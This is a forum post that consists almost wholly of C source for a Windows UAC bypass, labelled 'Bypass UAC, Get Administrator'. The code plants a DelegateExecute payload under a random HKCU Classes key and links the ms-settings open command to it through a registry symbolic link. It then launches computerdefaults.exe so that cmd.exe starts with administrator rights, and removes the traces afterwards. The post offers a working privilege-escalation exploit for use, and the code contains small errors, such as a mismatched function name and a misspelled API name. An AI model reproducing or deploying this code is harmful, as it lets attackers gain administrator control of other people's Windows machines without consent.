02-11-2023, 06:25 AM (This post was last modified: 02-11-2023, 06:27 AM by Crystalian.)
Code:
/*
Purpose:Bypass UAC,Get Administrator
*/
#pragma once
#include <Windows.h>
#include <winternl.h>
#include <ntstatus.h>
#include <stdio.h>
//LIB
#pragma comment(lib, "ntdll.lib")
//DEINE VARIABLE
#define SUPRUNPROCESS_TIMEOUT_DEFAULT 12000
#define T_DELEGATEEXECUTE L"DelegateExecute"
#define T_SOFTWARE_CLASSES L"Software\\Classes"
#define T_SHELL_OPEN L"\\shell\\open"
#define T_SHELL_COMMAND L"command"
#define OBJ_CASE_INSENSITIVE 0x00000040L
//DEFINE FUNCTION
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define RtlInitEmptyUnicodeString(_ucStr,_buf,_bufSize) \
((_ucStr)->Buffer = (_buf), \
(_ucStr)->Length = 0, \
(_ucStr)->MaximumLength = (USHORT)(_bufSize))
#define _RTL_CONSTANT_STRING_remove_const_macro(s) (s)
#define RTL_CONSTANT_STRING(s) \
{ \
sizeof(s)-sizeof((s)[0]), \
sizeof(s) / sizeof((s)[0]), \
_RTL_CONSTANT_STRING_remove_const_macro(s) \
}
typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES;
#define InitializeObjectAttributes( p, n, a, r, s ) { \
(p)->Length = sizeof(OBJECT_ATTRIBUTES); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
_inline struct _PEB* NtCurrentPeb() { return NtCurrentTeb()->ProcessEnvironmentBlock; }
//WINAPI Address Resolve
typedef NTSTATUS (NTAPI* NtOpenKeyFunc)(_Out_ PHANDLE KeyHandle, _In_ ACCESS_MASK DesiredAccess, _In_ POBJECT_ATTRIBUTES ObjectAttributes);
typedef NTSTATUS(NTAPI* NtCreateKeyFunc)(_Out_ PHANDLE KeyHandle, _In_ ACCESS_MASK DesiredAccess, _In_ POBJECT_ATTRIBUTES ObjectAttributes, _Reserved_ ULONG TitleIndex, _In_opt_ PUNICODE_STRING Class, _In_ ULONG CreateOptions, _Out_opt_ PULONG Disposition);
typedef NTSTATUS(NTAPI* NtCloseFunc)(_In_ _Post_ptr_invalid_ HANDLE Handle);
typedef NTSTATUS(NTAPI* NtSetValueKeyFunc)(_In_ HANDLE KeyHandle, _In_ PUNICODE_STRING ValueName, _In_opt_ ULONG TitleIndex, _In_ ULONG Type, _In_reads_bytes_opt_(DataSize) PVOID Data, _In_ ULONG DataSize);
typedef NTSTATUS (NTAPI *NtDeleteKeyFunc)( _In_ HANDLE KeyHandle);
typedef NTSTATUS (NTAPI *NtDeleteValueKeyFunc)( _In_ HANDLE KeyHandle, _In_ PUNICODE_STRING ValueName);
typedef VOID(NTAPI* RtlFreeUnicodeStringFunc)(_In_ PUNICODE_STRING UnicodeString);
typedef VOID(NTAPI* RtlInitUnicodeStringFunc)(_Out_ PUNICODE_STRING DestinationString, _In_opt_ PCWSTR SourceString);
typedef PVOID(NTAPI* RtlAllocateHeapFunc)( _In_ PVOID HeapHandle,_In_ ULONG Flags,_In_ SIZE_T Size);
typedef BOOLEAN (NTAPI*RtlFreeHeapFunc)( _In_ PVOID HeapHandle,_In_ ULONG Flags,_Frees_ptr_opt_ PVOID BaseAddress);
typedef NTSTATUS (NTAPI * RtlFormatCurrentUserKeyPathFunc)(_Out_ PUNICODE_STRING CurrentUserKeyPath);
typedef NTSTATUS (NTAPI * RtlAppendUnicodeToStringFun)( _In_ PUNICODE_STRING Destination,_In_opt_ PWSTR Source);
typedef NTSTATUS (NTAPI * RtlAppendUnicodeStringToStringFun)( _In_ PUNICODE_STRING Destination, _In_ PUNICODE_STRING Source);
typedef struct _safe_apis
{
//NT API
NtOpenKeyFunc fpNtOpenKey;
NtCreateKeyFunc fpNtCreateKey;
NtSetValueKeyFunc fpNtSetValueKey;
NtCloseFunc fpNtClose;
NtDeleteKeyFunc fpNtDeleteKey;
NtDeleteValueKeyFunc fpNtDeleteValueKey;
//RTL API
RtlFreeHeapFunc fpRtlFreeHeap;
RtlAllocateHeapFunc fpRtlAllocateHeap;
RtlFreeUnicodeStringFunc fpRtlFreeUnicodeString;
RtlInitUnicodeStringFunc fpRtlInitUnicodeString;
RtlFormatCurrentUserKeyPathFunc fpRtlFormatCurrentUserKeyPath;
RtlAppendUnicodeStringToStringFun fpRtlAppendUnicodeStringToString;
RtlAppendUnicodeToStringFun fpRtlAppendUnicodeToString;
} APIP;
static APIP g_fps = { 0 };
NTSTATUS supRegWriteValue(
_In_ HANDLE hKey,
_In_opt_ LPWSTR ValueName,
_In_ DWORD ValueType,
_In_ PVOID ValueData,
_In_ ULONG ValueDataSize
)
{
UNICODE_STRING usValue;
if (ValueName) {
g_fps.fpRtlInitUnicodeString(&usValue, ValueName);
}
else {
RtlInitEmptyUnicodeString(&usValue, NULL, 0);
}
return g_fps.fpNtSetValueKey(hKey,
&usValue,
0,
ValueType,
ValueData,
ValueDataSize);
}
NTSTATUS ucmxSetSlaveParams(
_In_ HANDLE KeyHandle,
_In_ LPCWSTR Payload
)
{
NTSTATUS ntStatus = STATUS_ACCESS_DENIED;
SIZE_T sz;
DWORD cbData, dummy;
dummy = 0;
cbData = 0;
ntStatus = supRegWriteValue(KeyHandle,
T_DELEGATEEXECUTE,
REG_SZ,
&dummy,
cbData);
if (NT_SUCCESS(ntStatus)) {
sz = (1 + wcslen(Payload)) * sizeof(WCHAR);
ntStatus = supRegWriteValue(KeyHandle,
NULL,
REG_SZ,
(PVOID)Payload,
(ULONG)sz);
}
return ntStatus;
}
NTSTATUS ucmxCreateSlaveKey(
_In_ HANDLE RootKey,
_In_ LPCWSTR Payload,
_Inout_ LPWSTR SlaveKey //cch max MAX_PATH
)
{
NTSTATUS ntStatus = STATUS_ACCESS_DENIED;
GUID guidTemp;
LPWSTR lpGuidKey = NULL;
HKEY hKey;
SIZE_T sz;
do {
if (CoCreateGuid(&guidTemp) != S_OK)
break;
if (StringFromCLSID(guidTemp, &lpGuidKey) != S_OK)
break;
sz = (1 + wcslen(lpGuidKey)) * sizeof(WCHAR);
wcsncpy_s(SlaveKey, MAX_PATH, lpGuidKey, MAX_PATH);
// Slave key with data.
if (ERROR_SUCCESS == RegCreateKey((HKEY)RootKey,
lpGuidKey,
&hKey))
{
ntStatus = ucmxSetSlaveParams(hKey, Payload);
RegCloseKey(hKey);
}
} while (FALSE);
if (lpGuidKey)
CoTaskMemFree(lpGuidKey);
return ntStatus;
}
NTSTATUS supOpenClassesKey(
_In_opt_ PUNICODE_STRING UserRegEntry,
_Out_ PHANDLE KeyHandle)
{
UNICODE_STRING usRootKey, usKeyName;
HANDLE rootKeyHandle = NULL, keyHandle = NULL;
OBJECT_ATTRIBUTES obja;
NTSTATUS ntStatus;
ULONG dummy;
*KeyHandle = NULL;
if (UserRegEntry == NULL) {
ntStatus = g_fps.fpRtlFormatCurrentUserKeyPath(&usRootKey);
if (!NT_SUCCESS(ntStatus))
return ntStatus;
}
else {
RtlCopyMemory(&usRootKey, UserRegEntry, sizeof(UNICODE_STRING));
}
InitializeObjectAttributes(&obja, &usRootKey, OBJ_CASE_INSENSITIVE, NULL, NULL);
ntStatus = g_fps.fpNtOpenKey(&rootKeyHandle, MAXIMUM_ALLOWED, &obja);
if (!NT_SUCCESS(ntStatus)) {
g_fps.fpRtlFreeUnicodeString(&usRootKey);
return ntStatus;
}
g_fps.fpRtlInitUnicodeString(&usKeyName, T_SOFTWARE_CLASSES);
obja.ObjectName = &usKeyName;
obja.RootDirectory = rootKeyHandle;
ntStatus = g_fps.fpNtCreateKey(&keyHandle,
MAXIMUM_ALLOWED,
&obja,
0,
NULL,
REG_OPTION_NON_VOLATILE,
&dummy);
if (NT_SUCCESS(ntStatus))
*KeyHandle = keyHandle;
g_fps.fpNtClose(rootKeyHandle);
if (UserRegEntry == NULL)
g_fps.fpRtlFreeUnicodeString(&usRootKey);
return ntStatus;
}
NTSTATUS supRemoveRegLinkHKCU(
_In_ LPWSTR lpszRegLink
)
{
NTSTATUS status = STATUS_UNSUCCESSFUL;
ULONG cbKureND;
UNICODE_STRING usCurrentUser, usLinkPath;
OBJECT_ATTRIBUTES obja;
UNICODE_STRING CmSymbolicLinkValue = RTL_CONSTANT_STRING(L"SymbolicLinkValue");
PWSTR lpLinkKeyBuffer = NULL;
SIZE_T memIO;
HANDLE hKey = NULL;
cbKureND = (ULONG)(wcslen(lpszRegLink)) * sizeof(WCHAR);
InitializeObjectAttributes(&obja, &usLinkPath, OBJ_CASE_INSENSITIVE, NULL, NULL);
status = g_fps.fpRtlFormatCurrentUserKeyPath(&usCurrentUser);
if (!NT_SUCCESS(status))
return status;
do {
memIO = sizeof(UNICODE_NULL) + usCurrentUser.MaximumLength + cbKureND;
lpLinkKeyBuffer = (PWSTR)g_fps.fpRtlAllocateHeap( GetProcessHeap(), HEAP_ZERO_MEMORY,memIO);
if (lpLinkKeyBuffer == NULL)
break;
usLinkPath.Buffer = lpLinkKeyBuffer;
usLinkPath.Length = 0;
usLinkPath.MaximumLength = (USHORT)memIO;
status = g_fps.fpRtlAppendUnicodeStringToString(&usLinkPath, &usCurrentUser);
if (!NT_SUCCESS(status))
break;
status = g_fps.fpRtlAppendUnicodeToString(&usLinkPath, lpszRegLink);
if (!NT_SUCCESS(status))
break;
InitializeObjectAttributes(&obja, &usLinkPath, OBJ_CASE_INSENSITIVE | OBJ_OPENLINK, NULL, NULL);
status = g_fps.fpNtOpenKey(&hKey,
KEY_ALL_ACCESS,
&obja);
if (NT_SUCCESS(status)) {
status = g_fps.fpNtDeleteValueKey(hKey, &CmSymbolicLinkValue);
if (NT_SUCCESS(status))
status = g_fps.fpNtDeleteKey(hKey);
NtClose(hKey);
}
} while (FALSE);
if (lpLinkKeyBuffer)g_fps.fpRtlFreeHeap( GetProcessHeap(),0,lpLinkKeyBuffer);
RtlFreeUnicodeString(&usCurrentUser);
return status;
}
//
HANDLE supRunProcess3(
_In_ LPCWSTR lpFile,
_In_opt_ LPCWSTR lpParameters,
_In_opt_ LPCWSTR lpVerb,
_In_ INT nShow
)
{
SHELLEXECUTEINFO shinfo;
RtlSecureZeroMemory(&shinfo, sizeof(shinfo));
shinfo.cbSize = sizeof(shinfo);
shinfo.fMask = SEE_MASK_FLAG_NO_UI | SEE_MASK_NOCLOSEPROCESS;
shinfo.lpFile = lpFile;
shinfo.lpParameters = lpParameters;
shinfo.nShow = nShow;
shinfo.lpVerb = lpVerb;
if (ShellExecuteEx(&shinfo))
return shinfo.hProcess;
return NULL;
}
BOOL supRunProcess2(
_In_ LPCWSTR lpFile,
_In_opt_ LPCWSTR lpParameters,
_In_opt_ LPCWSTR lpVerb,
_In_ INT nShow,
_In_ ULONG mTimeOut
)
{
BOOL bResult = FALSE;
HANDLE hProcess = supRunProcess3(lpFile,
lpParameters,
lpVerb,
nShow);
if (hProcess) {
if (mTimeOut != 0) {
if (WaitForSingleObject(hProcess, mTimeOut) == WAIT_TIMEOUT)
TerminateProcess(hProcess, WAIT_TIMEOUT);
}
CloseHandle(hProcess);
bResult = TRUE;
}
return bResult;
}
BOOL supRunProcess(
_In_ LPCWSTR lpFile,
_In_opt_ LPCWSTR lpParameters
)
{
return supRunProcess2(lpFile,
lpParameters,
NULL,
SW_SHOW,
SUPRUNPROCESS_TIMEOUT_DEFAULT);
}
//
BOOL MyTest(wchar_t *payload,wchar_t *lpTargetKey, wchar_t* lpszTargetApp)
{
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
BOOLEAN bSlaveCreated = FALSE;
NTSTATUS ntStatus = STATUS_ACCESS_DENIED;
HANDLE masterRootKey = NULL, classesKey = NULL, targetKey = NULL;
OBJECT_ATTRIBUTES obja;
UNICODE_STRING usCurrentUser, usMasterKey, usSlaveKey;
//
//
WCHAR szSlaveKey[MAX_PATH * 2];
WCHAR szMasterKey[MAX_PATH * 2];
WCHAR szClasses[MAX_PATH];
WCHAR szBuffer[MAX_PATH * 2];
SHELLEXECUTEINFO shinfo;
LPWSTR lpSlaveNtKey = NULL;
DWORD dummy;
SIZE_T sz;
UNICODE_STRING CmSymbolicLinkValue = RTL_CONSTANT_STRING(L"SymbolicLinkValue");
HRESULT hr_init;
hr_init = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
ZeroMemory(&szSlaveKey, sizeof(szSlaveKey));
do {
ntStatus = g_fps.fpRtlFormatCurrentUserKeyPath(&usCurrentUser);
if (!NT_SUCCESS(ntStatus))
break;
ntStatus = supOpenClassesKey(&usCurrentUser, &classesKey);
if (!NT_SUCCESS(ntStatus))
break;
szSlaveKey[0] = L'\\';
szSlaveKey[1] = 0;
ntStatus = ucmxCreateSlaveKey(classesKey, payload, &szSlaveKey[1]);
if (!NT_SUCCESS(ntStatus))
break;
bSlaveCreated = TRUE;
//
//
// Allocate slave NT regpath.
//
sz = (MAX_PATH + wcslen(szSlaveKey) * sizeof(WCHAR)) +
usCurrentUser.MaximumLength;
lpSlaveNtKey = (PWSTR)g_fps.fpRtlAllocateHeap( GetProcessHeap(), HEAP_ZERO_MEMORY,sz*2);
if (lpSlaveNtKey == NULL)
break;
RtlInitEmptyUnicodeString(&usSlaveKey, lpSlaveNtKey, sz);
ntStatus = g_fps.fpRtlAppendUnicodeStringToString(&usSlaveKey,&usCurrentUser);
if (!NT_SUCCESS(ntStatus))
break;
szClasses[0] = L'\\';
szClasses[1] = 0;
wcscpy(&szClasses[1], T_SOFTWARE_CLASSES);
ntStatus = g_fps.fpRtlAppendUnicodeToString(&usSlaveKey, szClasses);
if (!NT_SUCCESS(ntStatus))
break;
ntStatus = g_fps.fpRtlAppendUnicodeToString(&usSlaveKey, szSlaveKey);
if (!NT_SUCCESS(ntStatus))
break;
wcscpy(szMasterKey, lpTargetKey);
wcscat(szMasterKey, T_SHELL_OPEN);
if (ERROR_SUCCESS != RegCreateKeyEx((HKEY)classesKey,
szMasterKey,
0,
NULL,
REG_OPTION_NON_VOLATILE,
MAXIMUM_ALLOWED,
NULL,
(HKEY*)&masterRootKey,
NULL))
{
break;
}
RtlInitUnicodeString(&usMasterKey, T_SHELL_COMMAND);
InitializeObjectAttributes(&obja, &usMasterKey, OBJ_CASE_INSENSITIVE, masterRootKey, NULL);
ntStatus = g_fps.fpNtCreateKey(&targetKey,
KEY_ALL_ACCESS,
&obja, 0, NULL,
REG_OPTION_CREATE_LINK | REG_OPTION_VOLATILE,
&dummy);
if (ntStatus == STATUS_OBJECT_NAME_COLLISION) {
obja.Attributes |= OBJ_OPENLINK;
ntStatus = g_fps.fpNtOpenKey(&targetKey,
KEY_ALL_ACCESS,
&obja);
}
if (!NT_SUCCESS(ntStatus))
break;
sz = wcslen(usSlaveKey.Buffer) * sizeof(WCHAR);
ntStatus = g_fps.fpNtSetValueKey(targetKey,
&CmSymbolicLinkValue,
0,
REG_LINK,
(PVOID)usSlaveKey.Buffer,
(ULONG)usSlaveKey.Length);
if (!NT_SUCCESS(ntStatus))
break;
NtClose(targetKey);
targetKey = NULL;
//RunProcess
if (supRunProcess(lpszTargetApp, NULL))
MethodResult = STATUS_SUCCESS;
} while (0);
//
if (targetKey) NtClose(targetKey);
if (lpSlaveNtKey) g_fps.fpRtlFreeHeap( GetProcessHeap(),0,lpSlaveNtKey);
//
// Cleanup slave key.
//
if (bSlaveCreated) {
if (classesKey) {
RegDeleteKey((HKEY)classesKey, &szSlaveKey[1]);//skip slash
}
}
if (classesKey)
NtClose(classesKey);
if (SUCCEEDED(hr_init)) CoUninitialize();
//
// Remove symlink.
//
szMasterKey[0] = L'\\';
szMasterKey[1] = 0;
wcscpy(&szMasterKey[1], T_SOFTWARE_CLASSES);
wcscat(szMasterKey, TEXT("\\"));
wcscat(szMasterKey, lpTargetKey);
wcscat(szMasterKey, T_SHELL_OPEN);
wcscat(szMasterKey, TEXT("\\"));
wcscat(szMasterKey, T_SHELL_COMMAND);
supRemoveRegLinkHKCU(szMasterKey);
//
return MethodResult;
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
// resolve apis function address
HMODULE hNt = LoadLibraryA("Ntdll.dll");
g_fps.fpNtOpenKey = (NtOpenKeyFunc)GetProcAddress(hNt, "NtOpenKey");
g_fps.fpNtCreateKey = (NtCreateKeyFunc)GetProcAddress(hNt, "NtCreateKey");
g_fps.fpNtSetValueKey = (NtSetValueKeyFunc)GetProcAddress(hNt, "NtSetValueKey");
g_fps.fpNtClose = (NtCloseFunc)GetProcAddress(hNt, "NtClose");
g_fps.fpRtlFormatCurrentUserKeyPath = (RtlFormatCurrentUserKeyPathFunc)GetProcAddress(hNt, "RtlFormatCurrentUserKeyPath");
g_fps.fpRtlFreeUnicodeString = (RtlFreeUnicodeStringFunc)GetProcAddress(hNt, "RtlFreeUnicodeString");
g_fps.fpRtlInitUnicodeString = (RtlInitUnicodeStringFunc)GetProcAddress(hNt, "RtlInitUnicodeString");
g_fps.fpRtlAppendUnicodeStringToString = (RtlAppendUnicodeStringToStringFun)GetProcAddress(hNt, "RtlAppendUnicodeStringToString");
g_fps.fpRtlAppendUnicodeToString = (RtlAppendUnicodeToStringFun)GetProcAddress(hNt, "RtlAppendUnicodeToString");
g_fps.fpNtDeleteKey = (NtDeleteKeyFunc)GetProcAddress(hNt, "NtDeleteKey");
g_fps.fpNtDeleteValueKey = (NtDeleteValueKeyFunc)GetProcAddress(hNt, "NtDeleteValueKey");
g_fps.fpRtlAllocateHeap = (RtlAllocateHeapFunc)GetProcAddress(hNt, "RtlAllocateHeap");
g_fps.fpRtlFreeHeap = (RtlFreeHeapFunc)GetProcAddress(hNt, "RtlFreheap");
wchar_t path1[MAX_PATH] = { 0 };
wchar_t path2[MAX_PATH] = { 0 };
GetSystemDirectoryW(path1, MAX_PATH);
wcscat(path1, L"\\cmd.exe");
BOOL bRet = Mytest(path1, L"ms-settings",L"C:\\Windows\\system32\\computerdefaults.exe");
return 0;
}